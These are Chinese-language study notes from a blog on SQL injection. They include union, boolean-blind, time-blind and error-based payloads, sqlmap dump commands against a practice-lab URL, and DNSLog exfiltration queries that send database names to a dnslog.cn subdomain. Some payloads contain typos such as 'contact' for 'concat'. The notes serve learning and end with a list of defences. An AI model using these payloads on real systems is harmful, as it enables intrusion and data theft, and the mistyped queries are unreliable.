SQL 注入学习笔记

SQL注入的流程

获取表结构定义(元数据)

1、使用基础命令

库名:show databases;

表名:show tables;

字段名:show columns from dvwa.users;

字段个数:order by 根据不同的字段进行排序

2、查看information_schema

MySQL 中的 information_schema 数据库_kikajack的博客-CSDN博客_information_schema

构造注入语句

数据库查询语句:

1
$sql = "select * from test where user='$user' and passwords='$pass'";
  1. 直接在提交框输入SQL命令

此时命令被当作字符串被引号包围,不会被执行

  1. 在前面添加一个单引号使其和原本命令中的单引号形成闭合,并且添加分号,从而使后面的命令可以得到执行

  1. 使用井号#—+将后面的内容注释掉,防止其被执行

    井号#— (后面是一个空格)是注释SQL语句的两种方法,但是在URL中,加号+会被编码成空格,故一般使用—+将后面的语句注释

  1. 在PHP中,只能同时执行一条SQL语句,执行两条及以上时会报错,此时需要使用union联合注入构造SQL语句

⚠️注意:

1. 使用union时,后面语句查询字段的个数需要和前面语句字段个数一致(可使用’order by’进行测试,若报错,则超出字段数量了)

2. 使用union时,后面语句查询字段的个数需要和前面语句类型一致或可转换

SQL注入完整步骤

判断是否存在SQL注入

在参数后加单引号或双引号,若存在注入漏洞,则说明其未对传入对参数进行限制,引号会使其SQL语句提前闭合,造成错误,由加入引号后访问对页面结果可判断其是否存在SQL注入漏洞

判断数据库类型

判断数据库指纹

获取库名

  1. ‘ union select database() —+
  2. 使用 order by 来判断 union 前的语句有几个字段
  3. 若 union 前语句返回多个字段,则需要在 database() 后补上,如:' union select database(),1,2 —+

获取表名

  1. ' union select 1,1,TABLE_NAME from information_schema.TABLES —+
    
    1
    2
    3
    4
    5

    2. 将多行表名合并为一行使=使用 group\_concat 写为:

    ```sql
    ' union select 1,1.group_concat(TABLE_NAME) from 1,1,information_schema.TABLES —+
  2. 上一步查询的为整个数据库所有的表,应指定查询特定库下所对应的表,使用where table_schema=’test’

    即:

    1
    ' union select 1,1.group_concat(TABLE_NAME) from 1,1,information_schema.TABLES where table_schema=’test’ —+

获取字段名

方法和获取表名基本一致,只需要将 table 改为 column 并且加入 and where table_name=’users’ 限制表名即可

1
' union select 1,1.group_concat(COLUMN_NAME) from 1,1,information_schema.COLUMNS where table_schema=’test’ and where table_name='users' —+

获取字段对应数据

1
' union select id,name,password from users —+

Sqlmap的使用

检测是否存在注入漏洞

1
sqlmap -u "http://i.ilil.tech/Less-5/?id=1"

获取全部数据库

1
sqlmap -u "http://i.ilil.tech/Less-5/?id=1" --dbs

获取某一数据库中的所有表

1
sqlmap -u "http://i.ilil.tech/Less-5/?id=1" -D "security" --tables

获取某一表中的所有字段

1
sqlmap -u "http://i.ilil.tech/Less-5/?id=1" -D "security" -T "users" --col

获取相关字段中的数据

1
sqlmap -u "http://i.ilil.tech/Less-5/?id=1" -D "security" -T "users" -C "username,password" --dump

布尔盲注

适用场景:没有数据回显,条件正确有结果,错误没结果

利用方式:构造判断条件,逐个猜测

相关 SQL 语法

截取字符

1
2
3
4
5
6
# 从第 m 位开始截取字符,截取 n 位
SELECT MID('ABCDEFGHIJKLMN',m,n);
SELECT substr('ABCDEFGHIJKLMN',m,n);

# 从左边第 1 位开始截取字符,截取 n 位
SELECT left('ABCDEFGHIJKLMN',n);

转成 ASCII 码

1
2
3
# 二者作用相同
SELECT ORD('A');
SELECT ASCII('A');

https://www.habaijian.com

正则

1
2
3
# 判断开头是否为 ro ,是就返回 1
select user() regexp '^ro';
select user() like 'ro%';

完整流程

求数据库名长度

1
2
# 若数据库名长度为 8 则返回是
xxx' and length(database())=8 --+

逐位测试数据库名称

1
2
3
xxx\' and left(database(),1)='s' --+

xxx\' and ascii(left(database(),1))=113 --+

求数据库表名

利用系统库

基础命令:

1
2
3
# limit 可返回查询结果中的第 m 个起 n 个的结果

select table_name from information_schema.tables where table_schema=database() limit m,n

布尔盲注命令:

1
2
3
4
5
select left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1)>'a'

and select ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit **0**,1),**1**,1))=114 --+

求数据表列名

1
2
3
4
5
select left((select COLUNM_NAME from information_schema.COLUMNS
where TABLE_SCHEMA=database() and TABLE_NAME='emails' limit 0,1),1)>'a'

and select ascii(substr((select COLUNM_NAME from information_schema.COLUMNS
where TABLE_SCHEMA=database() and TABLE_NAME='**emails**' limit **0**,1),**1**,1))=114 --+

求表中数据

1
select ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=69;

时间盲注

适用场景:没有数据回显,条件正确与否结果一样

利用方式;构造判断条件,添加 sleep ,逐个猜测

相关 SQL 语法

截取长度

1
select length(database())=8;

判断,赋值

1
2
# 如果表达式为真,则返回第 1 个值;如果表达式为假,则返回第 2 个值
select if((1=1),1,0);

延迟 N 秒

1
2
3
4
5
6
select sleep(1);

# 如果数据库名字长度为 8 ,则 sleep 1 秒,否则返回 0
select sleep(if((select database())=8),1,0));
# 与上一句等价
select if(length(database())=8,sleep(1),0); √

完整步骤

求数据库名长度

1
2
# 若数据库名长度为 8 则返回是
xxx' and if(length(database())=8,sleep(1),0) --+

逐位测试数据库名称

1
xxx\' and if(ascii(mid(select database(),1,1))=113,sleep(1),0) --+

求数据库表名

利用系统库

基础命令:

1
2
3
# limit 可返回查询结果中的第 m 个起 n 个的结果

select table_name from information_schema.tables where table_schema=database() limit m,n

布尔盲注命令:

1
2
and if(ascii(mid((select table_name from information_schema.tables
where table_schema=database() limit m,n),1,1)>100,sleep(1),0) --+

求数据表列名

1
2
and if(ascii(substr((select COLUNM_NAME from information_schema.COLUMNS
where TABLE_SCHEMA=database() and TABLE_NAME='**emails**' limit **0**,1),**1**,1))>114,sleep(1),0) --+

求表中数据

1
2
if(ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) 
FROM security.users ORDER BY id LIMIT 0,1),1,1))=69,sleep(1),0) --+

报错注入

适用场景:没有数据回显,条件正确与否结果一样,sleep 没区别,但是错误信息会打印出来

利用方式:利用语法错误,把 value 在前段输出

常用不允许出错函数名:

geometrycollection()、 multipoint()、 polygon()、 multipolygon()、 linestrin()、 multilinestring()、exp()

求数据库库名

1
2
3
4
# 使用 updataxml 语法来实现报错
# 0x7e 为波浪线 ~ 便于分隔不同数据
# @@datadir 为数据存储路径
xxx and updatexml(1,contact(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) --+

求数据库表名

1
2
xxx and updatexml(1,contact(0x7e,(select group_contact(table_name)
from information_schema.tables where table_schema=database()),0x7e),1) --+

求数据表列名

1
2
3
4
xxx and updatexml(1,contact(0x7e,
(select group_contact(column_name) from information_schema.columns
where table_schema='security' and table_name='users')
,0x7e),1) --+

求表中数据

OOB(Out-of-band)非应用内通信注入(DNSLog注入)

知识补充

DNSLog简介

DNSLog 为用户访问 DNS 服务器时在 DNS 服务器上产生的相应的解析日志

DNSLog 注入即通过搭建或使用现有第三方 DNS 平台来通过构造好的 SQL 语句执行 DNS 解析请求来获取数据看数据

常用 DNSLog 平台: dnslog.cn ceye.io

UNC(Universal Naming Convention)——Windows 下的通用命名规则

MySQL 文件读写函数

配置文件 secure_file_priv 参数:

1
2
3
4
5
6
# 只能访问本机文件
# 文件需要有读写全县权限
# 字节数小于 max_allowed_packet
select LOAD_FILE('E:\\in.txt');

select xxx INTO OUTFILE 'E:\\out.txt';

DNSLog 注入流程

  1. 把 select LOAD_FILE() 注入到数据库,访问文件
  2. UNC 构建 DNS 服务器地址,假装访问文件,产生 DNSLog select load_file(’////aaa.yourid.dnslog.cn/sth’);
  3. 把子域名替换成函数或者查询 SQL select if((select load_file(contact(’////’,database(),’.yourid.dnslog.cn/sth’))),1,0);

查询数据库名

1
2
3
4
5
select if((select load_file(contact(’////’,database(),’.yourid.dnslog.cn/sth’))),1,0);

select if((select load_file(contact(
////’,(select schema_name from information_schema.schemata limit **0**,1),’.yourid.dnslog.cn/sth’
))),1,0);

查询数据表名

1
2
3
4
select if((select load_file(contact(
////’,(select group_contact(table_name)
from information_schema.tables where table_schema=database() limit **0**,1),’.yourid.dnslog.cn/sth’
))),1,0);

查询数据表列名

1
2
3
4
select if((select load_file(contact(
////’,(select group_contact(column_name) from information_schema.columns
where table_schema=database() and table_name='users' limit **0**,1),’.yourid.dnslog.cn/sth’
))),1,0);

SQL 注入防范

  1. 字符串过滤,正则匹配关键字
  2. 变量和语句分开,预编译
  3. 字符的转义
  4. 库、表、字段的名字使用非常规定义
  5. 配置数据库权限
  6. 数据库数据加密
  7. WAF

WAF 绕过

  1. 对关键字进行不同编码
  2. 对关键字进行大小写转换
  3. 通过其他语义相同的关键字替换
  4. 配合 Windows 特性
  5. 配合 Linux 特性
  6. 配合 MySQL 特性
  7. 配合过滤代码或漏洞本身
  8. http 协议绕过
  9. 网络结构绕过
  10. Sqlmap tamper

SQL 注入学习笔记
https://blog.tddt.cc/posts/sql-injection-learning.html
作者
TechPANG
发布于
2022年1月28日
许可协议